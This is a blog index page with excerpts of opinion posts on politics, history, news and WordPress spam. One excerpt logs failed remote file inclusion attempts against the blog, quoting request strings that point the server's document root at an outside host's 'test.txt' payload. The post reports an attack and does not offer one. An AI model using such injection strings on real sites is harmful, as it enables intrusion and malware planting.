Strangely Perfect

It Was 50 Years Ago, Today …when mankind left the gravitational confines of our Earth. A poor boy from the steppes, Yuri Gagarin, simultaneously became the first man in space and the first man to leave Earth and orbit it completely.  (This is something that took NASA several steps before John Glenn finally emulated the [...]

Introduction Two items on today’s news demonstrated the vast contrasts in our humanity. Stardust probe finds ‘subdued’ comet crater & Japan halts whale hunt after chase by protesters. Our Absolute Ingenuity and Progress The absolute ingenuity of us humans and how far we have come since our cave-dwelling days is supremely demonstrated by the return [...]

Obama President Obama was elected under the banner of change. Change for the overall health of his nation Change in economics and finance Change of a re-assertion of the higher ideals of his nation expressed in the US Constitution and the Universal Declaration of Rights. In this last, he even promised this change in his [...]

Coroner and Law I’m often struck when reading the papers or news, to see the coroner’s verdict on someone’s death as: Ending his own life while the balance of his mind was disturbed Well they have to say something, it’s their job, but the phrase is very peculiar. Take this couple, the Milners, who were [...]

CIA Guilty of Torture and Kidnap – Damages of 1.5 Million Euros Amazing news today.  An Italian court has bravely taken on the leader of the Western World and convicted 22 CIA agents of kidnap and torture. (see CIA agents guilty of Italy kidnap). The man on the left with the wacky beard and hat, [...]

Crikey! I Never Realised! Maybe certain days have relevance above their station and mere numerical nomenclature?  Who knows.  So read on.  See what happened today! 622 AD  – The Hijra of Muhammad Muhammad runs away from Mecca to escape persecution.  From this point forward, huge swathes of the globe took up Islam, Islamic empires spread [...]

Belle and Sebastien (Belle et Sebastien) This is the signature tune of a French show which appeared on UK TV in the late 60s.  For some interconnected reason, I stumbled on it and realised that I still whistle it now and again when it pops in my head.  I have to whistle it as there’s [...]

Everyone, it seems, both in the East and West, even China, is now aware of the huge forgery that gave last week’s Iranian election result to the cross-eyed one. However, when talking about the brave people marching through Tehran’s streets, saying “everyone deserves freedom” etc etc, we should cast our minds back only a few [...]

Multiple Attempts to Drop Trojan on This Website Failed These are the Wassup details of the attack 69.65.41.165 2009-06-13 10:48:00 //?_SERVER[DOCUMENT_ROOT]=http://ww(…)omponents/com_frontpage/test.txt?? Referrer: Direct hit Hostname: 69.65.41.165 User Agent: Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0) OS: WinVista BROWSER: IE 7 10:33:14 ->//?_SERVER[DOCUMENT_ROOT]=http://www.fox(…)com/components/com_frontpage/test.txt?? 10:34:03 ->////?_SERVER[DOCUMENT_ROOT]=http://www.f(…)com/components/com_frontpage/test.txt?? 10:34:30 ->/3099/google-treasure-chest-its-a-scam-a(…)com/components/com_frontpage/test.txt?? 10:37:43 ->/3099////?_SERVER[DOCUMENT_ROOT]=http://(…)com/components/com_frontpage/test.txt?? 10:37:46 ->////?_SERVER[DOCUMENT_ROOT]=http://www.f(…)com/components/com_frontpage/test.txt?? 10:47:59 ->/3099////?_SERVER[DOCUMENT_ROOT]=http://(…)com/components/com_frontpage/test.txt?? 10:48:00 ->////?_SERVER[DOCUMENT_ROOT]=http://www.f(…)com/components/com_frontpage/test.txt?? As [...]

The Rise of Internet Porn One of the chief drivers of change in the technological arms race of the internet has been the porn industry.  Most of the ‘benefits’ that users and owners now expect e.g. interaction, user activity sensing, easy and secure anonymous on-line payments, on-line adverts and click-through promotions, on-line community spaces, forums, [...]

Welcome to the World of Outdoor Ceiling Fans This morning I trapped some pingback comment spam.  “Nothing unusual in that for a WordPress junkie” you’ll be thinking.  And you’re right! What is unusual is the irony of the targeted post and the  subject matter of the pinging website! The comment targeted this post:  http://str…combatting-wordpress-trackback-comment-spam, and [...]

High Hopes Replaced by Low Expectations It’s the torture, see? UK In the UK, when Blair was first elected Prime Minister, the people in the country had such high hopes.  There were promises of an ‘end to sleaze’ and an ‘ethical foreign policy’. Since those heady few weeks in the UK; We’ve had years of [...]

It’s funny how things change and how the world has different perceptions of a people.  You see, people have long memories. Somali Pirates Vow Revenge on U.S., France on Rescues – is the news currently.  Also, the Somalis have taken pot-shots at a US politician in Mogadishu according to Voice of America. This all flies [...]

Watch the above video of part of the G20 protests.  At around 1:30, green jacketed police attack the crowd in a phalanx formation – a bit like an open-topped Roman testudo.  Flailing their batons, they press on down their own  protected right flank (by some container-type hoardings) into the crowd of protesters. Amazingly, our young [...]